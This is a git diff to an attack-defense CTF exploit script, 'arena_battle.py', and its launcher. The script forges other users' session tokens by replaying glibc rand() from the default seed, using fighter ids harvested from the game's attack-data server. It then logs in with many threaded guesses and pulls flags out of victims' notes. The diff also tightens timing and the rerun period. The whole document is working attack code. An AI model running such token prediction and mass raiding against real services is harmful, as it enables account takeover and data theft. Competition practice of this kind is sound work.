diff --git a/sploits/arena_battle.py b/sploits/arena_battle.py index 4a12170..fec872f 100755 --- a/sploits/arena_battle.py +++ b/sploits/arena_battle.py @@ -16,24 +16,41 @@ which is where the checker stores flags. fighters exist) NOTE_GET -> list note ids + titles NOTE_GET -> title + content + +Fighter ids come from ForcAD attack data when it is reachable (exact, cheap); +otherwise we sweep back over the most recent ids. + +Env overrides: ARENA_PORT, ARENA_LOOKBACK, ARENA_BUDGET, ATTACK_DATA_URL. """ +import json +import os +import random import re import socket -import sys -import random import string +import sys +import time +import urllib.request from concurrent.futures import ThreadPoolExecutor -PORT = 1337 +PORT = int(os.environ.get("ARENA_PORT", 1337)) FLAG_RX = re.compile(r"[A-Z0-9]{31}=") +# Round is 30s and a flag lives 10 rounds (5 min), so stay well inside one round. +TIME_BUDGET = float(os.environ.get("ARENA_BUDGET", 20.0)) TIMEOUT = 4.0 -LOOKBACK = 70 # how many recent fighters to raid +LOOKBACK = int(os.environ.get("ARENA_LOOKBACK", 200)) INDEX_OFFSETS = (0, -1, 1, -2, 2) # rand()/id drift from concurrent REGISTERs THREADS = 10 RECONNECT_AFTER = 12 # some boxes drop a connection after N bad tokens +ATTACK_DATA_URL = os.environ.get( + "ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data") +SERVICE_HINTS = ("arena", "battle") + +TOKEN_RX = re.compile(r"token_\d+_\d+") + # -------------------------------------------------------------------------- # glibc TYPE_3 rand(), default seed 1 @@ -91,6 +108,62 @@ def rand_name(n=8): return "".join(random.choice(string.ascii_lowercase) for _ in range(n)) +# -------------------------------------------------------------------------- +# ForcAD attack data -> fighter ids / ready-made tokens +# -------------------------------------------------------------------------- +def _harvest(obj, ids, tokens): + """Walk an arbitrary attack-data blob picking out ids and tokens.""" + if isinstance(obj, dict): + for v in obj.values(): + _harvest(v, ids, tokens) + elif isinstance(obj, (list, tuple)): + for v in obj: + _harvest(v, ids, tokens) + elif isinstance(obj, bool): + pass + elif isinstance(obj, int): + if 0 < obj < 10 ** 7: + ids.add(obj) + elif isinstance(obj, str): + tokens.update(TOKEN_RX.findall(obj)) + if obj.isdigit() and 0 < int(obj) < 10 ** 7: + ids.add(int(obj)) + + +def attack_data(target_ip): + """Returns (fighter_ids, ready_tokens) published for this target.""" + ids, tokens = set(), set() + try: + with urllib.request.urlopen(ATTACK_DATA_URL, timeout=3) as r: + data = json.loads(r.read().decode("utf-8", "replace")) + except Exception as e: + print("[*] no attack data (%s)" % e, file=sys.stderr, flush=True) + return ids, tokens + + # {"service": {"ip": [...]}} / {"ip": {...}} / {"team_id": {...}} + team_id = target_ip.rsplit(".", 1)[-1] + scoped = [] + + def scope(node): + if not isinstance(node, dict): + return + for key, val in node.items(): + k = str(key) + if k == target_ip or k == team_id: + scoped.append(val) + elif any(h in k.lower() for h in SERVICE_HINTS): + scope(val) if isinstance(val, dict) else scoped.append(val) + + scope(data) + for node in scoped: + _harvest(node, ids, tokens) + + if scoped: + print("[*] attack data: %d ids, %d tokens" % (len(ids), len(tokens)), + file=sys.stderr, flush=True) + return ids, tokens + + def probe_max_id(ip): """Register a throwaway fighter; its id == number of fighters created.""" with Arena(ip) as a: @@ -98,16 +171,16 @@ def probe_max_id(ip): m = re.search(r"Registered fighter (\d+)\b", resp) if not m: raise RuntimeError("unexpected REGISTER reply: %r" % resp) - fid = int(m.group(1)) tok = re.search(r"TOKEN:(\S+)", resp) - return fid, (tok.group(1) if tok else None) + return int(m.group(1)), (tok.group(1) if tok else None) class Raider: """Walks a list of candidate tokens over one reused connection.""" - def __init__(self, ip): + def __init__(self, ip, deadline): self.ip = ip + self.deadline = deadline self.conn = None self.since_reconnect = 0 @@ -142,6 +215,8 @@ class Raider: self.since_reconnect = 0 # good token, keep the socket flags.update(FLAG_RX.findall(listing)) # flag may be the title for nid in re.findall(r"(?:^|\s)(\d+):", listing)[:40]: + if time.monotonic() > self.deadline: + break flags.update(FLAG_RX.findall(self._cmd("NOTE_GET %s %s" % (token, nid)))) return flags @@ -149,6 +224,8 @@ class Raider: flags = set() try: for tok in tokens: + if time.monotonic() > self.deadline: + break try: flags.update(self.raid(tok)) except Exception: @@ -159,13 +236,16 @@ class Raider: def exploit(target_ip): + deadline = time.monotonic() + TIME_BUDGET flags = set() + known_ids, ready_tokens = attack_data(target_ip) + max_id, my_token = probe_max_id(target_ip) print("[*] %s: current fighter id = %d (token %s)" % (target_ip, max_id, my_token), file=sys.stderr, flush=True) - seq = glibc_rand_seq(1, max_id + 64) + seq = glibc_rand_seq(1, max(max_id, max(known_ids) if known_ids else 0) + 64) # sanity check: our own token should be seq[max_id - 1] on an unpatched box if my_token: @@ -175,25 +255,36 @@ def exploit(target_ip): "patched or rand() drifted" % (target_ip, my_token, expected), file=sys.stderr, flush=True) - # candidate tokens for the most recent fighters (they hold the live flags) - candidates = [] - low = max(1, max_id - LOOKBACK) - for fid in range(max_id - 1, low - 1, -1): + # Ordered by confidence: attack-data tokens, attack-data ids, then a sweep + # back over the most recent fighters (a flag lives 10 rounds / 5 min). + candidates = list(ready_tokens) + + def add_id(fid): for off in INDEX_OFFSETS: idx = fid - 1 + off if 0 <= idx < len(seq): candidates.append("token_%d_%d" % (fid, seq[idx])) + for fid in sorted(known_ids, reverse=True): + add_id(fid) + for fid in range(max_id - 1, max(1, max_id - LOOKBACK) - 1, -1): + add_id(fid) + + seen = set() + candidates = [t for t in candidates if not (t in seen or seen.add(t))] + chunks = [candidates[i::THREADS] for i in range(THREADS)] def work(chunk): - return Raider(target_ip).run(chunk) + return Raider(target_ip, deadline).run(chunk) with ThreadPoolExecutor(max_workers=THREADS) as pool: for got in pool.map(work, [c for c in chunks if c]): flags.update(got) - print("[*] %s: %d flags" % (target_ip, len(flags)), file=sys.stderr, flush=True) + print("[*] %s: %d flags in %.1fs" % (target_ip, len(flags), + TIME_BUDGET - (deadline - time.monotonic())), + file=sys.stderr, flush=True) return flags diff --git a/sploits/start_sploit.py b/sploits/start_sploit.py index a193188..308c50d 100755 --- a/sploits/start_sploit.py +++ b/sploits/start_sploit.py @@ -91,7 +91,7 @@ def parse_args(): help='Maximal number of concurrent sploit instances. ' 'Too little value will make time limits for sploits smaller, ' 'too big will eat all RAM on your computer') - parser.add_argument('--attack-period', metavar='N', type=float, default=55, + parser.add_argument('--attack-period', metavar='N', type=float, default=30, help='Rerun the sploit on all teams each N seconds ' 'Too little value will make time limits for sploits smaller, ' 'too big will miss flags from some rounds')